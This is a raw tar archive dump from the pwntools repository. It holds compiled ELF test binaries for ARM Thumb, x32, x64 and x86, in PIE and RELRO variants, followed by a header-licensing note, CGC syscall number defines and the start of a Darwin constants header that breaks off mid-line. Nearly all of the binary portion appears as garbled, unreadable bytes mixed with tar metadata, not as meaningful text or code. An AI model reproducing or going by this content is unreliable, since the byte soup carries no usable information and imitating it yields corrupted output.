"!(FFHxD HxD KFX 3hB p 8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG  4I H KyDxD {DqIJXGpGP K J{DxzDk KX#K{DhK"{DpV0HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 3144If | D  @<hoooo^o GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4`: 0BDDJo^^&WoPf ho B<<@ x|| sx~,pDD LLT0-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb-pie000077500000000000000000000075101507273764500237540ustar00rootroot00000000000000ELF(Y4 4 (p$$$44444400000`d<<<PPPDDQtd/lib/ld-linux-armhf.so.3GNU GNUҌqe_J0   \ 8 E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii 04` x |  d h l p  t   @ D H L  P  T  X \ @-N-ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD "!(FFHxD HxD KFX 3hB pD8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG^4I H KyDxD {DqIJXGpG0P K J{DxzDk KX#K{DhK"{Dp^0J>HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 3144i)f \ 04$  4 @hoodoo>o<hhhhhhhh GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4`: 0B$$Jo>>&WoddPf ho B@ x\\ shhx~,p$$ ,,004488<<4 4 T    0 -p 3 Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb-relro000077500000000000000000000127001507273764500243170ustar00rootroot00000000000000ELF(4`4 (pHHH444  TTTTTDLpppDDQtdRtd<</lib/ld-linux-armhf.so.3GNU GNUnyCp}\  >7k E} D1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii  @-F- xGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌƏʌA@ `#h @$` "!F@4`@D`F@D@y #hB O OjFMHKi0 0 R/ ,KA+@GpG AAqI@GpGA #x##p@`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 314}W   @ooDoo0GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4<: BJo00WoDDPf o B@ x sx~hh,pHH PP00-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb-relro-pie000077500000000000000000000127001507273764500250720ustar00rootroot00000000000000ELF(y4`4 (pDDD444  TTTPPhlpppDDQtdRtd``/lib/ld-linux-armhf.so.3GNU GNU>~Gi8rpqHf   |   E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii      @-N- ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD "!(FFHxD HxD KFX 3hB p 8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG  4I H KyDxD {DqIJXGpGP K J{DxzDk KX#K{DhK"{DpV0HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 3144If | D  @<hoooo^o GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4`: 0BDDJo^^&WoPf ho B<<@ x|| sx~,pDD LLT0-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x32000066400000000000000000000240241507273764500224720ustar00rootroot00000000000000ELF>@4#4 (44@4@``@@@@@@ @ @ 0@0@TX!1@1@@@llStd@@((Ptd, , @, @44Qtd/libx32/ld-linux-x32.so.2GNUcyaA^fVܕ4wbGNUGNU=06l __stack_chk_failstrtolatoi__libc_start_mainsrandprintf__isoc99_scanflibc.so.6GLIBC_2.16GLIBC_2.34__gmon_start__LVa1@1@2@ 2@(2@02@82@@2@HH!HtH5!%!@hfhfhfhfhfhf%~!fD%v!fD%n!fD%f!fD%^!fD%V!fD1Aы4$PTE11@ f.P2@=P2@tt P2@fff.@P2@P2@ttP2@Dff.@= uU{ ]fff.@UPg}HgEd%gE1EЉHHǸEЉ HHǸEЉ HFgEgEȍ ҉H׸W HWgEgẺ(gUd+%t@HH%shappy days! %s very happy! %d 314;0tdL`zRx p(D0 DxpFJ w?9*3$"h`|EB  @@L @ @0@1@o@@4@ { 2@H@@ oT@oo@@1@0@@@P@`@p@@GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0.shstrtab.interp.note.gnu.build-id.note.gnu.property.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment @@$&@(9@ Go@Q 4@4Y@{ao@@@noT@T0}@ B@H @ @ p@`@@  @ +, @, 4` @` 0@ 1@!1@!1@!2@"HH2@H"P2@P"0P"+{"Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x32-pie000066400000000000000000000240701507273764500232460ustar00rootroot00000000000000ELF>4#4 (444``  00|!11llStd((Ptd, , , 44Qtd/libx32/ld-linux-x32.so.2GNUO.;"G-4MGNUGNU @ em{ L0E  6"__stack_chk_failstrtolatoi__libc_start_mainsrand__cxa_finalizeprintf__isoc99_scanflibc.so.6GLIBC_2.16GLIBC_2.34_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable[ep01t2t2H2P2X2`2 h2 2 2(20282@2 HHI"HtH5!%!@hfhfhfhfhfhf%!fD%n!fD%f!fD%^!fD%V!fD%N!fD%F!fD1Aы4$PTE11ɍ=!!=B!@4<14 (44@4@@@@@@@ @ @.>@>@`d.>@>@@@llStd@@((Ptd, , @, @44QtdRtd.>@>@XX/libx32/ld-linux-x32.so.2GNU"-J;'O5kc1JGNUGNU=06l __stack_chk_failstrtolatoi__libc_start_mainsrandprintf__isoc99_scanflibc.so.6GLIBC_2.16GLIBC_2.34__gmon_start__LVa?@?@?@?@?@?@?@?@HH/HtH5/%/@hfhfhfhfhfhf%&/fD%/fD%/fD%/fD%/fD%.fD1Aы4$PTE11@.f.@@=@@tt @@fff.@@@@@tt@@Dff.@=].uU{L.]fff.@UPg}HgEd%gE1EЉHHǸEЉ HHǸEЉ HFgEgEȍ ҉H׸W HWgEgẺ(gUd+%t@HH%shappy days! %s very happy! %d 314;0tdL`zRx p(D0 DxpFJ w?9*3$"h`|EB  @@L @ @>@>@o<@@T@ { ?@H@@ oot@oo`@>@0@@@P@`@p@@GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0.shstrtab.interp.note.gnu.build-id.note.gnu.property.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.data.bss.comment @@$&@(9@ Go<@<Q T@TY@{ao`@`not@t0}@ B@H @ @ p@`@@  @ +, @, 4` @` >@.>@.>@.?@/X@@0@@000+30Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x32-relro-pie000066400000000000000000000327101507273764500243670ustar00rootroot00000000000000ELF>4@14 (444 .>>x|.>>llStd((Ptd, , , 44QtdRtd.>>pp/libx32/ld-linux-x32.so.2GNU1}k.rDPϖ@gzGNUGNU @ em{ L0E  6"__stack_chk_failstrtolatoi__libc_start_mainsrand__cxa_finalizeprintf__isoc99_scanflibc.so.6GLIBC_2.16GLIBC_2.34_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable[ep>>@@???? ? ?????? HH/HtH5r/%t/@hfhfhfhfhfhf%V/fD%.fD%.fD%.fD%.fD%.fD%.fD1Aы4$PTE11ɍ=.=..9t.tfff.@=.5.)tv.t fDff.@=].u+U<.t =D.f7.]DwUPg}HgEd%gE1EЉ HHǸEЉ HHǸEЉ HCgEgEȍ ҉H׸T HTgEgẺ%gUd+%t=HH%shappy days! %s very happy! %d 314;0`dtLzRx (D 0pFJ w?9*3$"Th`| EB  [  >>o<\ ?H$` ooooo>0@P`p@GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0.shstrtab.interp.note.gnu.build-id.note.gnu.property.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment $&(9 Go<< Q \\Yaono0}$$` BH   p`  +, , 4` ` >.>.>.?/p@0@000+30 Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x64000077500000000000000000000143101507273764500224770ustar00rootroot00000000000000ELF>P@@@8 @@@@@@88@8@@@ ``HP ((`(`TT@T@DDPtd,,@,@DDQtdRtd``/lib64/ld-linux-x86-64.so.2GNU GNU8eP[6 }0`-EW > p@libc.so.6__printf_chksrand__isoc99_scanf__stack_chk_failstrtol__libc_start_main__gmon_start__GLIBC_2.7GLIBC_2.3.4GLIBC_2.2.5GLIBC_2.4ii fti pui |ii `` `(`0`8`@`HH Ht{H5 % @% h% h% h% h% h% h%B fH8@dH%(HD$(1HH@11 H|@¿1y'@?p@#HL$(dH3 %(uH8 f1I^HHPTI@H@H@fD_`UH-X`HHvHt]X`f]@f.X`UHX`HHHH?HHtHt ]X`]fD=Q uUHn]> @ `H?uHtUH]zf.SHЉ[fH 1Hf.AWAVAAUATL%~ UH-~ SIIL)HHoHt 1LLDAHH9uH[]A\A]A^A_Ðf.HH%shappy days! %s very happy! %d 314;@$\$4T TzRx *zRx $pFJ w?;*3$"DhALdXDP|D@} A D@eBBE B(H0H8M@r8A0A(B BBBh @@ @ @``o@@@ `@x@ o(@oo@(`V@f@v@@@@GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.plt.data.bss.comment 8@8T@T !t@t$4o@$> @F@No@[o(@(Pjx@xtB@~ @ y@@@p@@2@ @+,@,Dp@p,`` ` (`(``HH`HX`X0X4Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x64-cfp000077500000000000000000000326701507273764500232560ustar00rootroot00000000000000ELF>@@-@8 @@@@@@@@@@@@%% @ @!1@1@@H!1@1@@@   @ @DDStd@@ Ptd, , @, @TTQtd/lib64/ld-linux-x86-64.so.2GNUGNUWf>]zH[5O!m;GNU-E > libc.so.6__printf_chksrand__isoc99_scanf__stack_chk_failstrtol__libc_start_mainGLIBC_2.7GLIBC_2.3.4GLIBC_2.2.5GLIBC_2.4__gmon_start__ii Wti aui mii y3@3@3@3@3@3@3@HH#HtH5#%#hhhh%U#D%M#D%E#D%=#D1I^HHPTI@H@Hǖ@"f.4@H=4@tHt 4@fff.@4@H4@HH?HHHtHt4@ff.@="uUHz"]Ðff.@UHH0dH%(HE1HEHH=EHEHH50HEк HHH5{H= UH~!HHMdH3 %(t%UHHH}uEHUǸHEUHHH}HE HfAWL=AVIAUIATAUH-SL)H/Ht1LLDAHH9uH[]A\A]A^A_ff.HH%shappy days! %s very happy! %d 314;P Dlj!Jt4|zRx /D0,$DXPFJ w?:*3$"l@EC  %)EC ` .(EC _ D8eFIE E(D0H8G@n8A0A(B BBB,`@`@ @ @1@1@oh@H@@ 3@`@@@H o@oo@1@0@@@P@`@GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0@@ @D@h@@H@@ @ @@ @ @ @p@@@ @, @ @1@1@1@3@3@3@4@ @ @!`@74@F1@m@y1@!@1@1@1@, @3@@o 3@v@(4@ @;Zm3@z 3@ @@e4@@s@/4@@ M@)+4@ @crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.8059__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrytest.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finifuga_edata__stack_chk_fail@@GLIBC_2.4__libc_start_main@@GLIBC_2.2.5srand@@GLIBC_2.2.5__data_start__gmon_start__strtol@@GLIBC_2.2.5__dso_handle_IO_stdin_used__libc_csu_init_dl_relocate_static_pie__bss_startmain__printf_chk@@GLIBC_2.3.4hoge__isoc99_scanf@@GLIBC_2.7__TMC_END__.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment@#@ 6 @ $ID@D Woh@ha @iH@Hqo@~o@P@@@HB@`@ @ Pp@p@@e@  @ +, @, T @ @1@!1@!1@!3@#3@#8 3@#4@$0$$($x- *7,Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x64-pie000077500000000000000000000143001507273764500232510ustar00rootroot00000000000000ELF>@@@8 @@@@888  x  TTTDDPtdL L L DDQtdRtd ((/lib64/ld-linux-x86-64.so.2GNU GNUmDfy3@ӗHBRF @  BE|qX ~ -T >   E"fP yX mP libc.so.6__printf_chksrand__isoc99_scanf__stack_chk_failstrtol__cxa_finalize__libc_start_main_edata__bss_start_end_ITM_deregisterTMCloneTable__gmon_start___Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.7GLIBC_2.3.4GLIBC_2.2.5GLIBC_2.4ii ti ui ii  @  H H             ( 0 8  HH HtkH5 % @% h% h% h% h% h%J f%Z fSH=|H0dH%(HD$(1HH5\H11 HwH5G¿1rH=BvH= XHL$(dH3 %(uH0[ f.1I^HHPTLH CH= Ht ]fD]@f.H= H5 UH)HHHH?HHtH Ht ]f]@f.=I u'H= UHt H=* uH]  @f.H= H?u ^fDH HtUH]@SHЉ[fH 1Hf.AWAVAAUATL%& UH-& SIIL)HH?Ht 1LLDAHH9uH[]A\A]A^A_Ðf.HH%shappy days! %s very happy! %d 314;@T\$4T\zRx *zRx $P`FJ w?;*3$"DhALdXDP$|`AK@ AA D8eBBE B(H0H8M@r8A0A(B BBB`@      oH   x oopooLo FVfvH GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.plt.data.bss.comment 88TT !tt$4o0> FHHNoLL [oppPjtBx~y00`r   +L L D 4     0 @@ @P P0P4Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x64-relro000077500000000000000000000140701507273764500236230ustar00rootroot00000000000000ELF>@@@8@8 @@@@@@88@8@@@  ` `hp  ` `TT@T@DDPtd@@DDQtdRtd ` `XX/lib64/ld-linux-x86-64.so.2GNU GNUZȰ2n }ȶi*+`)|0`4ޓ 9@/N=W p@> -Elibc.so.6__printf_chksrand__isoc99_scanf__stack_chk_failstrtol__libc_start_main__gmon_start__GLIBC_2.7GLIBC_2.3.4GLIBC_2.2.5GLIBC_2.4ii fti pui |ii ```````HH HtCH5R %T @%R h%J f%J f%J f%J f%J f%J fH8@dH%(HD$(1HH@11 H@¿1@?p@#HL$(dH3 %(uH8If1I^HHPTI@Hp@Hǰ@fD`UH-`HHvHt]`f]@f.`UH`HHHH?HHtHt ]`]fD= uUHn] @ `H?uHtUH]zf.SHЉ[fH 18Hf.AWAVAAUATL%& UH-& SIIL)HHHt 1LLDAHH9uH[]A\A]A^A_Ðf.HH%shappy days! %s very happy! %d 314;@D$\$4T TzRx *zRx $ FJ w?;*3$"DhALdXDP|D@} A D@eBBE B(H0H8M@r8A0A(B BBBh@@ 8@ @ ` `o@@@ ` @@ oo@@oo*@ `v@GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.data.bss.comment 8@8T@T !t@t$4o@<> @F@No*@*[o@@@Pj@tB @ ~8@8y`@` @0@2@ @+@D`@`, `  `  `  ` `P``04DGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x64-relro-pie000077500000000000000000000137701507273764500244040ustar00rootroot00000000000000ELF> @8@8 @@@@888  X`  TTTDDPtd, , , DDQtdRtd HH/lib64/ld-linux-x86-64.so.2GNU GNU"v@MԬ:j @  BE|qX ~ -T >   E"f y m libc.so.6__printf_chksrand__isoc99_scanf__stack_chk_failstrtol__cxa_finalize__libc_start_main_edata__bss_start_end_ITM_deregisterTMCloneTable__gmon_start___Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.7GLIBC_2.3.4GLIBC_2.2.5GLIBC_2.4ii ti ui ii                    HH Ht+H5b %d @%j f%j f%r f%r f%r f%z f% fSH=|H0dH%(HD$(1HH5\H11 HH5G¿1H=BvH= XHL$(dH3 %(uH0[-f.1I^HHPTLH CH= FHHNoLL [oppPjPtz00@@8r  +, , Dp p 4     p  04DGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x86000077500000000000000000000127241507273764500225120ustar00rootroot00000000000000ELF4L4 (444  TTT$(hhhDDPtd؆؆<<QtdRtd/lib/ld-linux.so.2GNU GNUieCy.|L`/8 K}0`<f T-M 'libc.so.6_IO_stdin_used__printf_chksrand__isoc99_scanf__stack_chk_failstrtol__libc_start_main__gmon_start__GLIBC_2.7GLIBC_2.3.4GLIBC_2.0GLIBC_2.4ii uti ii ii   Sk[tv[5%% h%h%h%h%h % h(%fUS@\$\$$eD$<1\$D$$~D$ D$$D$Æ$D$N$ӆB$D$T$ ЁF``No[oPj dds Bll0|#wp00@@R/؆<  $$$,,0,#OGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x86-cfp000077500000000000000000000302401507273764500232510ustar00rootroot00000000000000ELF4+4 (444`` 444"44 $<"<<``Std́́Ptd0 00llQtd/lib/ld-linux.so.2GNUJOd/òEPt{3m GNUGNU KU 'C-< libc.so.6_IO_stdin_used__printf_chksrand__isoc99_scanfstrtol__libc_start_main__stack_chk_failGLIBC_2.7GLIBC_2.3.4GLIBC_2.0GLIBC_2.4__gmon_start__ii fti pii |ii $(8<@DHS##tЃ[50%4@hfhfhfhfh f%8fD%<fD%@fD%DfD%HfD1^PTR#8"dPPQVP$fffffff$ffffffT=Tt$tUhTЃÍ&fÍ&&T-Tt tUPhT҃Ít&Í&=TuUhTÍ&Í&L$qUSQ0!eE1EPPEPPjcj jEPpPPj; P]PP#Ue3teY[]aUF` u EЃEUS8 j ju]Ë$fffffUk WVS |$( )t)1&vWt$,t$,9u [^_]Í&t&Ë,$fffSÂSkg[%shappy days! %s very happy! %d 314;h `8\p`epzR| $;D0P DL`F J tx?9*2$"hP0|H GuDuxu| AAC m'EB _  t.EB Db ~HxeEL AAC m$A(D,D0M GAA AATh|EN  48o( ,(̃olooX<@P`pGCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0́(Xl  ̃  0 048<$,LT @!7TF8my408<40,0iL )?.DT KgLt P eX m;T '',BYsT crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7621__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrytest.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini__x86.get_pc_thunk.bx__x86.get_pc_thunk.bpfuga_edata__stack_chk_fail@@GLIBC_2.4__data_start__gmon_start____dso_handle_IO_stdin_usedsrand@@GLIBC_2.0__libc_start_main@@GLIBC_2.0__libc_csu_init_dl_relocate_static_pie_fp_hw__bss_startmain__printf_chk@@GLIBC_2.3.4hoge__x86.get_pc_thunk.ax__stack_chk_fail_local__isoc99_scanf@@GLIBC_2.7__TMC_END__strtol@@GLIBC_2.0.symtab.strtab.shstrtab.interp.note.gnu.build-id.note.gnu.property.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment#$6́I Wo a ((iqoXX~ollP  B̃($00`P /00 l 44"88"<<"$$#,,#  LL#TT#0T#$x#- (*Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x86-pie000077500000000000000000000127201507273764500232610ustar00rootroot00000000000000ELF]4H4 (444  TTTT T @DhhhDDPtdDDQtdRtd/lib/ld-linux.so.2GNU GNUL~1K]Cj5Ly d) BE|KqXk| dC" 'R - <u( ,  |( _libc.so.6_IO_stdin_used__printf_chksrand__isoc99_scanfstrtol__cxa_finalize__libc_start_main__stack_chk_fail_edata__bss_start_end_ITM_deregisterTMCloneTable__gmon_start___Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.7GLIBC_2.3.4GLIBC_2.0GLIBC_2.1.3GLIBC_2.4ii ti ii si ii $        Str[ hhhhh ffUVSV@eD$<1t$t$$t$D$$nD$ D$4$v$D$D$<$D$$T$ FNo  "[o00`j Ps B(|#w00`/D, , (   ( (0(#KGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x86-relro000077500000000000000000000125741507273764500236360ustar00rootroot00000000000000ELFՄ44 (444  TTTԞԞ48hhhDDPtdȆȆ<<QtdRtdԞԞ,,/lib/ld-linux.so.2GNU GNU e]y v\׽\7x|A+`)|0`4K ޓ9@/N=f '- M<Tlibc.so.6_IO_stdin_used__printf_chksrand__isoc99_scanf__stack_chk_failstrtol__libc_start_main__gmon_start__GLIBC_2.7GLIBC_2.3.4GLIBC_2.0GLIBC_2.4ii uti ii ii S?t2[5ܟ%%h%f%f%f%f%f%fUS@\$\$$eD$<1\$D$$D$ D$$D$$D$v$ÆB$D$T$ F||No[o00Pj 0s B|#w 000R/Ȇ<Ԟ؞ܞ؟(0#+Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-x86-relro-pie000077500000000000000000000125201507273764500244000ustar00rootroot00000000000000ELF=44 (444  TTT4 4 04hhhDDPtdDDQtdRtd((/lib/ld-linux.so.2GNU GNU97y+dп9 d) BE|KqXk| dC" 'R - <u   | _ libc.so.6_IO_stdin_used__printf_chksrand__isoc99_scanfstrtol__cxa_finalize__libc_start_main__stack_chk_fail_edata__bss_start_end_ITM_deregisterTMCloneTable__gmon_start___Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.7GLIBC_2.3.4GLIBC_2.0GLIBC_2.1.3GLIBC_2.4ii ti ii si ii     Soót*[fff f(f0f8fUVS:@eD$<1t$t$$t$D$$D$ D$4$$D$D$\$D$$T$ FNo  "[o00`j xs#y00~@@8/D (<  0#+Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/000077500000000000000000000000001507273764500222145ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/LICENSE.txt000066400000000000000000000020461507273764500240410ustar00rootroot00000000000000This directory, the directory pwnlib/constants/ and subdirectories contains: - header files from the FreeBSD project - header files from the dietlibc project - code for transforming these header files into a format more suitable for our use of them - the result of that transformation The header files can be retrieved from https://www.freebsd.org and http://www.fefe.de/dietlibc/ respectively. The header files from the FreeBSD project are to the best of our knowledge available under a BSD 2-clause license available here: https://www.freebsd.org/copyright/freebsd-license.html The header files from dietlibc are to the best of our knowledge available under under GPLv2 or later, available here: https://www.gnu.org/copyleft/gpl.html We are not laywers and do not know the legal status of header files nor do we know the legal status of derivatives. To the extend that we can legally do so, we would like to redistribute everything under an MIT license, but otherwise we allow it under the licenses the files were originally made available under. Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/android000077700000000000000000000000001507273764500246342linuxustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/000077500000000000000000000000001507273764500227505ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/aarch64.h000077700000000000000000000000001507273764500252742arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/alpha.h000077700000000000000000000000001507273764500251312arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/amd64.h000077700000000000000000000000001507273764500247572arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/arm.h000066400000000000000000000007101507273764500236760ustar00rootroot00000000000000#define allocate 5 #define SYS_allocate 5 #define __NR_allocate 5 #define deallocate 6 #define SYS_deallocate 6 #define __NR_deallocate 6 #define fdwait 4 #define SYS_fdwait 4 #define __NR_fdwait 4 #define random 7 #define SYS_random 7 #define __NR_random 7 #define receive 3 #define SYS_receive 3 #define __NR_receive 3 #define terminate 1 #define SYS_terminate 1 #define __NR_terminate 1 #define transmit 2 #define SYS_transmit 2 #define __NR_transmit 2 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/i386.h000077700000000000000000000000001507273764500245352arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/ia64.h000077700000000000000000000000001507273764500246072arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/mips.h000077700000000000000000000000001507273764500250142arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/powerpc.h000077700000000000000000000000001507273764500255232arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/powerpc64.h000077700000000000000000000000001507273764500256752arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/s390.h000077700000000000000000000000001507273764500245422arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/s390x.h000077700000000000000000000000001507273764500247322arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/sparc.h000077700000000000000000000000001507273764500251542arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/sparc64.h000077700000000000000000000000001507273764500253262arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/cgc/thumb.h000077700000000000000000000000001507273764500251632arm.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/darwin/000077500000000000000000000000001507273764500235005ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/darwin/aarch64.h000066400000000000000000002767331507273764500251230ustar00rootroot00000000000000#define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define DST_NONE 0 #define DST_USA 1 #define DST_AUST 2 #define DST_WET 3 #define DST_MET 4 #define DST_EET 5 #define DST_CAN 6 #define CHILD_MAX 266 #define LINK_MAX 32767 #define MAX_CANON 1024 #define MAX_INPUT 1024 #define NAME_MAX 255 #define NGROUPS_MAX 16 #define OPEN_MAX 10240 #define PATH_MAX 1024 #define PIPE_BUF 512 #define BC_BASE_MAX 99 #define BC_DIM_MAX 2048 #define BC_SCALE_MAX 99 #define BC_STRING_MAX 1000 #define CHARCLASS_NAME_MAX 14 #define COLL_WEIGHTS_MAX 2 #define EQUIV_CLASS_MAX 2 #define EXPR_NEST_MAX 32 #define LINE_MAX 2048 #define RE_DUP_MAX 255 #define NZERO 0 #define GETNCNT 3 #define GETPID 4 #define GETVAL 5 #define GETALL 6 #define GETZCNT 7 #define SETVAL 8 #define SETALL 9 #define SEM_UNDO 0010000 #define SEM_A 